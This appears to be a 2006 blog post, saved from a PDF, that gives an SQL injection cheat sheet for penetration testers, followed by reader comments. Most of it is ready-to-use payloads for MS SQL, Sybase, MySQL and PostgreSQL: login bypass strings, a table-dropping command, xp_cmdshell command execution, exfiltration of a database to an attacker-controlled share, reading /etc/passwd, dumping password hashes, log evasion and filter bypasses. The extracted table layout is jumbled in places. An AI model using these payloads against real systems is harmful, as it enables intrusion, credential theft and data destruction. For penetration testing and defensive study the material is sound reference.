Operation N SQL Injection Cheat Sheet

Operation n SQL Injection Cheat Sheet
Operation n
A Hackers Diary
SQL Injection Cheat Sheet

Posted in Main on 3rd November 2006
Related articles: Input Validation Cheat Sheet (Want to find other input validation problems?)
Table of Contents
Generic - Bypass Authentication
Microsoft SQL
Sybase
MySQL
Oracle
PostgreSQL
Bypass SQL Injection Filters
References and Credits
ChangeLog
http://michaeldaw.org/sql-injection-cheat-sheet/ (1 of 15)5/9/2007 5:10:48 PM
Date
Change
13/03/07
03/01/06
Added some more blind SQL injection tests for MySQL (Author: jungsonn)
21/12/06
Added Concat tests for blind SQL Injection tests.
06/Nov/06
Added PostgreSQL payloads
06/Nov/06
Added Data to Oracle
06/Nov/06
Added Sybase section
Oct/06
Wrote initial paper.
Introduction
Comments:
This paper was primarily written to aid penetration testers. I hope you find it useful. Please email me additional payloads as you find them.
Generic - Bypass Authentication
The following payloads are generally applied to login forms with a username and password. Correctly performing these attacks will allow
you to authenticate to the web application (unless otherwise stated).
Payload
Description (if any)
realusername' or 1=1
Authenticate as a real user without requiring a password.
' OR '' = '
Allows authentication without a valid username.
admin'
Authenticate as user admin without a password.
' union select 1, 'user', 'pass' 1
Requires knowledge of column names.
'; drop table users
DANGEROUS! this will delete the user database if the table name is "users".
Microsoft SQL
Payload
sp_traceXXX audit evasion. The sp_password prevents
storing clear text passwords in the log files. Appending this 'admin sp_password after your comments () can prevent SQL Injection queries
being logged.
select @@version
View database version.
select @@servername
Misc. information disclosure
select @@microsoftversion
select * from master..sysservers
select * from sysusers
View database usernames and passwords.
exec master..xp_cmdshell 'ipconfig+/all'
Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+view'
exec master..xp_cmdshell 'net+users'
Misc. command execution with cp_cmdshell - this is useful exec master..xp_cmdshell 'ping+system-controlled-by-attacker' for blind SQL Injection tests (where no results are displayed).
Backup entire database to a file. This attack can be used to BACKUP database master to disks='\\{IP}\{sharename}\backupdb.dat' steal a database.
create table myfile (line varchar(8000))" bulk insert foo from c:\inetpub\wwwroot Reading files on the filesystem. \auth.asp" select * from myfile"
xp_servicecontrol (START or STOP) <service>
Start and stop Windows Services.
str1 + str2 OR n+n
Concat strings for blind SQL Injection tests.
Sybase
Payload
select @@version"
select name from master..syslogins"
select name from master..sysdatabases"
convert(integer,(select+min(name)+from+syslogins+where+name>'))
Integer conversion error trick.
An error will occur presenting the first
value of the rowset (lets say its sybase).
We then continue as before by placing the convert(integer,(select+min(name)+from+syslogins+where+name>'sybase')) value into our query. An error will then
present the next value in the rowset. We
continue as before.
Misc. command execution with xp_cmdshell 'ipconfig+/all' cp_cmdshell.
Misc. command execution with xp_cmdshell 'net+view' cp_cmdshell.
Misc. command execution with xp_cmdshell 'net+users' cp_cmdshell.
Misc. command execution with
cp_cmdshell - this is useful for blind SQL xp_cmdshell 'ping+system-controlled-by-attacker' Injection tests (where no results are
displayed).
Misc. command execution with
cp_cmdshell - this is useful for blind SQL waitfor delay '0:0:5' Injection tests (where no results are
displayed).
create proxy_table myfile external file at "c:\temp\file_to_read.txt" select * from myfile"
Reading files on the filesystem.
create table myfile (record varchar(2000)) external file at "c:\temp\myfile.exe" insert into myfile Write file to filesystem. values(0xAND_YOUR_BINARY_DATA)"
str1 + str2 or n+n
MySQL
Payload
select @@version;
select host,user,db from mysql.db;
select host,user,password from mysql.user;
View MySQL usernames and passwords.
create table myfile (input TEXT); load data infile /etc/passwd into table
myfile; OR load data infile /home/{user}/.rhosts into table myfile; select *
Reading files on the filesystem.
from myfile;
Write files on the filesystem. This attack is limited by the fact select host,user,password from user into outfile /tmp/passwd; that you can only write to either /tmp or /var/tmp.
select CONCAT(a,b);
BENCHMARK(1000000000,MD5(gainingtime))
Cause delay for blind SQL Injection tests.
Cause delay for blind SQL Injection tests. Same as before, but BENCHMARK(1000000000,MD5(CHAR(116))) this can be used if quotes are filtered.
IF EXISTS (SELECT * FROM users WHERE username = root) Check if username exists, if yes there will be an delay. BENCHMARK(1000000000,MD5(gainingtime))
IF EXISTS (SELECT * FROM users WHERE username = root) WAITFOR
Check if username exists, if yes there will be an delay for 3
DELAY 0:0:3
seconds.
Oracle
Robert Hurlbut has put together an awesome document on Oracle SQL Injection. He seems to have far more experience in this area then I, so
i will merely present a link to his blog entry on this topic (http://weblogs.asp.net/rhurlbut/archive/2004/01/24/62560.aspx).
Payload
str1 || str2 OR CONCAT (str1, str2)
PostgreSQL
Payload
select version();
select current_database();
select current_user;
select session_user;
select current_setting(log_connections);
select current_setting(log_statement);
select current_setting(port);
select current_setting(password_encryption);
select current_setting(krb_server_keyfile);
select current_setting(virtual_host);
select current_setting(port);
select current_setting(config_file);
select current_setting(hba_file);
select current_setting(data_directory);
select * from pg_shadow;
select * from pg_group;
create table myfile (input TEXT); copy myfile from /etc/passwd; select * from myfile;
Read files on the filesystem.
copy myfile to /tmp/test;
Write files to filesystem.
str1 || str2
Payload
select password from tablename where username = concat(char(39),
char(97),char(100),char(109),char(105),char(110),char( 39)) into
Writing info into files without single quotes (example). You must specify a
outfile concat(char(39),char(97),char(100),char(109),char(105),char
new file (it may not exist) and give the correct pathname.
(110),char( 39))
select * from login where user = char(39,97,39)
Using char() to bypass restrictions.
References and Credits:
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
Related articles:
Input Validation Cheat Sheet (Want to find other input validation problems?)
External links:
Ferruh's SQL Injection Cheat Sheet
Jungsonn's SQL Injection Cheat Sheet
RSnake's SQL Injection Cheat Sheet
6 Responses to SQL Injection Cheat Sheet
1. Hey the top part of your sybase entries are really MS SQL?
Comment by trevor 27 November 2006 @ 8:48 pm
2. trevor:
The code base for Microsoft SQL Server (prior to version 7.0) originated in Sybase SQL Server (see http://en.wikipedia.org/wiki/
Microsoft_SQL_Server). Hence, why the commands look the same as MSSQL.
Comment by david.kierznowski 27 November 2006 @ 11:43 pm
3. Ahh, and so I learn more about sybase :) Thanks.
Comment by trevor 1 December 2006 @ 1:10 pm
4. Good Cheat Sheet! :) 10x
Hello from RUS.
Comment by Anatoly 20 December 2006 @ 10:15 am
5. Would be great to see a similar xml file as rsnakes XSS cheatsheet !
Like:
Generic: auth as a real user without password
realusername' or 1=1-
Authenticate as a real user without requiring a password.
Generic
Generic
With class replaced by and or something like that.
Would allow using the XSS Forms greasemonkey script and/or CAL9000 together with input validation & sql injection I started
work but its kindof useless if i have to update the xml every time its updated.
Anyway cool resource !!
Comment by ethernode 2 May 2007 @ 3:10 pm
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SQL Injection Cheat Sheet

Generic - Bypass Authentication

Bypass SQL Injection Filters

References and Credits

http://michaeldaw.org/sql-injection-cheat-sheet/ (1 of 15)5/9/2007 5:10:48 PM